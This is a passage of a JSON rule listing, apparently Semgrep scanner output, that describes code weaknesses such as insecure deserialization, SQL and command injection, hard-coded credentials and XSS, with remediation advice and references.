[https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-numpy-pickle-django.tainted-numpy-pickle-django","id":"python.django.deserialization.tainted-numpy-pickle-django.tainted-numpy-pickle-django","name":"python.django.deserialization.tainted-numpy-pickle-django.tainted-numpy-pickle-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-numpy-pickle-django.tainted-numpy-pickle-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.db.mongoose-express.mongoose-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/javascript.express.db.mongoose-express.mongoose-express","id":"javascript.express.db.mongoose-express.mongoose-express","name":"javascript.express.db.mongoose-express.mongoose-express","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.db.mongoose-express.mongoose-express"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.generic.secrets.setpassword-hardcoded.setpassword-hardcoded)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.generic.secrets.setpassword-hardcoded.setpassword-hardcoded","id":"kotlin.generic.secrets.setpassword-hardcoded.setpassword-hardcoded","name":"kotlin.generic.secrets.setpassword-hardcoded.setpassword-hardcoded","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.generic.secrets.setpassword-hardcoded.setpassword-hardcoded"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This tag is missing an 'integrity' subresource integrity attribute. The 'integrity' attribute allows for the browser to verify that externally hosted files (for example from a CDN) are delivered without unexpected manipulation. Without this attribute, if an attacker can modify the externally hosted resource, this could lead to XSS and other types of attacks. To prevent this, include the base64-encoded cryptographic hash of the resource (file) you’re telling the browser to fetch in the 'integrity' attribute for all externally hosted files."},"help":{"markdown":"This tag is missing an 'integrity' subresource integrity attribute. The 'integrity' attribute allows for the browser to verify that externally hosted files (for example from a CDN) are delivered without unexpected manipulation. Without this attribute, if an attacker can modify the externally hosted resource, this could lead to XSS and other types of attacks. To prevent this, include the base64-encoded cryptographic hash of the resource (file) you’re telling the browser to fetch in the 'integrity' attribute for all externally hosted files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/html.security.audit.missing-integrity.missing-integrity)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"This tag is missing an 'integrity' subresource integrity attribute. The 'integrity' attribute allows for the browser to verify that externally hosted files (for example from a CDN) are delivered without unexpected manipulation. Without this attribute, if an attacker can modify the externally hosted resource, this could lead to XSS and other types of attacks. To prevent this, include the base64-encoded cryptographic hash of the resource (file) you’re telling the browser to fetch in the 'integrity' attribute for all externally hosted files."},"helpUri":"https://semgrep.dev/r/html.security.audit.missing-integrity.missing-integrity","id":"html.security.audit.missing-integrity.missing-integrity","name":"html.security.audit.missing-integrity.missing-integrity","properties":{"precision":"very-high","tags":["CWE-353: Missing Support for Integrity Check","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: html.security.audit.missing-integrity.missing-integrity"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"An object-returning LDAP search will allow attackers to control the LDAP response. This could lead to Remote Code Execution."},"help":{"markdown":"An object-returning LDAP search will allow attackers to control the LDAP response. This could lead to Remote Code Execution.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.ldap-entry-poisoning.ldap-entry-poisoning)\n - [https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf)\n - [https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html)\n","text":"An object-returning LDAP search will allow attackers to control the LDAP response. This could lead to Remote Code Execution."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.ldap-entry-poisoning.ldap-entry-poisoning","id":"java.lang.security.audit.ldap-entry-poisoning.ldap-entry-poisoning","name":"java.lang.security.audit.ldap-entry-poisoning.ldap-entry-poisoning","properties":{"precision":"very-high","tags":["CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.ldap-entry-poisoning.ldap-entry-poisoning"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-pyyaml-flask.tainted-pyyaml-flask)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n - [https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation](https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-pyyaml-flask.tainted-pyyaml-flask","id":"python.flask.deserialization.tainted-pyyaml-flask.tainted-pyyaml-flask","name":"python.flask.deserialization.tainted-pyyaml-flask.tainted-pyyaml-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-pyyaml-flask.tainted-pyyaml-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.os.tainted-os-command-stdlib-secure-default.tainted-os-command-stdlib-secure-default)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#using-the-subprocess-module](https://docs.python.org/3/library/subprocess.html#using-the-subprocess-module)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach."},"helpUri":"https://semgrep.dev/r/python.lang.os.tainted-os-command-stdlib-secure-default.tainted-os-command-stdlib-secure-default","id":"python.lang.os.tainted-os-command-stdlib-secure-default.tainted-os-command-stdlib-secure-default","name":"python.lang.os.tainted-os-command-stdlib-secure-default.tainted-os-command-stdlib-secure-default","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.os.tainted-os-command-stdlib-secure-default.tainted-os-command-stdlib-secure-default"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"SSL verification is disabled but should not be (currently CURLOPT_SSL_VERIFYPEER= $IS_VERIFIED)"},"help":{"markdown":"SSL verification is disabled but should not be (currently CURLOPT_SSL_VERIFYPEER= $IS_VERIFIED)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.curl-ssl-verifypeer-off.curl-ssl-verifypeer-off)\n - [https://www.saotn.org/dont-turn-off-curlopt_ssl_verifypeer-fix-php-configuration/](https://www.saotn.org/dont-turn-off-curlopt_ssl_verifypeer-fix-php-configuration/)\n","text":"SSL verification is disabled but should not be (currently CURLOPT_SSL_VERIFYPEER= $IS_VERIFIED)"},"helpUri":"https://semgrep.dev/r/php.lang.security.curl-ssl-verifypeer-off.curl-ssl-verifypeer-off","id":"php.lang.security.curl-ssl-verifypeer-off.curl-ssl-verifypeer-off","name":"php.lang.security.curl-ssl-verifypeer-off.curl-ssl-verifypeer-off","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.curl-ssl-verifypeer-off.curl-ssl-verifypeer-off"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'mark_safe()' is used to mark a string as \"safe\" for HTML output. This disables escaping and could therefore subject the content to XSS attacks. Use 'django.utils.html.format_html()' to build HTML for rendering instead."},"help":{"markdown":"'mark_safe()' is used to mark a string as \"safe\" for HTML output. This disables escaping and could therefore subject the content to XSS attacks. Use 'django.utils.html.format_html()' to build HTML for rendering instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.avoid-mark-safe.avoid-mark-safe)\n - [https://docs.djangoproject.com/en/3.0/ref/utils/#django.utils.safestring.mark_safe](https://docs.djangoproject.com/en/3.0/ref/utils/#django.utils.safestring.mark_safe)\n - [https://docs.djangoproject.com/en/3.0/ref/utils/#django.utils.html.format_html](https://docs.djangoproject.com/en/3.0/ref/utils/#django.utils.html.format_html)\n","text":"'mark_safe()' is used to mark a string as \"safe\" for HTML output. This disables escaping and could therefore subject the content to XSS attacks. Use 'django.utils.html.format_html()' to build HTML for rendering instead."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.avoid-mark-safe.avoid-mark-safe","id":"python.django.security.audit.avoid-mark-safe.avoid-mark-safe","name":"python.django.security.audit.avoid-mark-safe.avoid-mark-safe","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.avoid-mark-safe.avoid-mark-safe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.oauth2.oauth2-empty-key.oauth2-empty-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.oauth2.oauth2-empty-key.oauth2-empty-key","id":"go.secrets.oauth2.oauth2-empty-key.oauth2-empty-key","name":"go.secrets.oauth2.oauth2-empty-key.oauth2-empty-key","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.oauth2.oauth2-empty-key.oauth2-empty-key"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.web.django-cookie-secure-false.django-cookie-secure-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"helpUri":"https://semgrep.dev/r/python.django.web.django-cookie-secure-false.django-cookie-secure-false","id":"python.django.web.django-cookie-secure-false.django-cookie-secure-false","name":"python.django.web.django-cookie-secure-false.django-cookie-secure-false","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.web.django-cookie-secure-false.django-cookie-secure-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.system.sqlconnectionstringbuilder-hardcoded-secret.sqlconnectionstringbuilder-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.system.sqlconnectionstringbuilder-hardcoded-secret.sqlconnectionstringbuilder-hardcoded-secret","id":"csharp.lang.security.system.sqlconnectionstringbuilder-hardcoded-secret.sqlconnectionstringbuilder-hardcoded-secret","name":"csharp.lang.security.system.sqlconnectionstringbuilder-hardcoded-secret.sqlconnectionstringbuilder-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.system.sqlconnectionstringbuilder-hardcoded-secret.sqlconnectionstringbuilder-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This call turns off CSRF protection allowing CSRF attacks against the application"},"help":{"markdown":"This call turns off CSRF protection allowing CSRF attacks against the application\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.rails-skip-forgery-protection.rails-skip-forgery-protection)\n - [https://api.rubyonrails.org/classes/ActionController/RequestForgeryProtection/ClassMethods.html#method-i-skip_forgery_protection](https://api.rubyonrails.org/classes/ActionController/RequestForgeryProtection/ClassMethods.html#method-i-skip_forgery_protection)\n","text":"This call turns off CSRF protection allowing CSRF attacks against the application"},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.rails-skip-forgery-protection.rails-skip-forgery-protection","id":"ruby.rails.security.audit.rails-skip-forgery-protection.rails-skip-forgery-protection","name":"ruby.rails.security.audit.rails-skip-forgery-protection.rails-skip-forgery-protection","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.rails-skip-forgery-protection.rails-skip-forgery-protection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User data flows into the host portion of this manually-constructed HTML. This can introduce a Cross-Site-Scripting (XSS) vulnerability if this comes from user-provided input. Consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"help":{"markdown":"User data flows into the host portion of this manually-constructed HTML. This can introduce a Cross-Site-Scripting (XSS) vulnerability if this comes from user-provided input. Consider using a sanitization library such as DOMPurify to sanitize the HTML within.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.injection.raw-html-format.raw-html-format)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n","text":"User data flows into the host portion of this manually-constructed HTML. This can introduce a Cross-Site-Scripting (XSS) vulnerability if this comes from user-provided input. Consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"helpUri":"https://semgrep.dev/r/javascript.express.security.injection.raw-html-format.raw-html-format","id":"javascript.express.security.injection.raw-html-format.raw-html-format","name":"javascript.express.security.injection.raw-html-format.raw-html-format","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.injection.raw-html-format.raw-html-format"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected template variable interpolation in a JavaScript template string. This is potentially vulnerable to cross-site scripting (XSS) attacks because a malicious actor has control over JavaScript but without the need to use escaped characters. Instead, obtain this variable outside of the template string and ensure your template is properly escaped."},"help":{"markdown":"Detected template variable interpolation in a JavaScript template string. This is potentially vulnerable to cross-site scripting (XSS) attacks because a malicious actor has control over JavaScript but without the need to use escaped characters. Instead, obtain this variable outside of the template string and ensure your template is properly escaped.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.xss.no-interpolation-js-template-string.no-interpolation-js-template-string)\n - [https://github.com/golang/go/issues/9200#issuecomment-66100328](https://github.com/golang/go/issues/9200#issuecomment-66100328)\n - [https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/](https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/)\n","text":"Detected template variable interpolation in a JavaScript template string. This is potentially vulnerable to cross-site scripting (XSS) attacks because a malicious actor has control over JavaScript but without the need to use escaped characters. Instead, obtain this variable outside of the template string and ensure your template is properly escaped."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.xss.no-interpolation-js-template-string.no-interpolation-js-template-string","id":"go.lang.security.audit.xss.no-interpolation-js-template-string.no-interpolation-js-template-string","name":"go.lang.security.audit.xss.no-interpolation-js-template-string.no-interpolation-js-template-string","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.xss.no-interpolation-js-template-string.no-interpolation-js-template-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.diesel.pg-connection-url.pg-connection-url)\n - [https://docs.diesel.rs/master/diesel/index.html](https://docs.diesel.rs/master/diesel/index.html)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.diesel.pg-connection-url.pg-connection-url","id":"rust.secrets.diesel.pg-connection-url.pg-connection-url","name":"rust.secrets.diesel.pg-connection-url.pg-connection-url","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.diesel.pg-connection-url.pg-connection-url"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Proxy declares a state var that may override a storage slot of the implementation"},"help":{"markdown":"Proxy declares a state var that may override a storage slot of the implementation\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.proxy-storage-collision.proxy-storage-collision)\n - [https://blog.audius.co/article/audius-governance-takeover-post-mortem-7-23-22](https://blog.audius.co/article/audius-governance-takeover-post-mortem-7-23-22)\n","text":"Proxy declares a state var that may override a storage slot of the implementation"},"helpUri":"https://semgrep.dev/r/solidity.security.proxy-storage-collision.proxy-storage-collision","id":"solidity.security.proxy-storage-collision.proxy-storage-collision","name":"solidity.security.proxy-storage-collision.proxy-storage-collision","properties":{"precision":"very-high","tags":["CWE-787: Out-of-bounds Write","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.proxy-storage-collision.proxy-storage-collision"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a 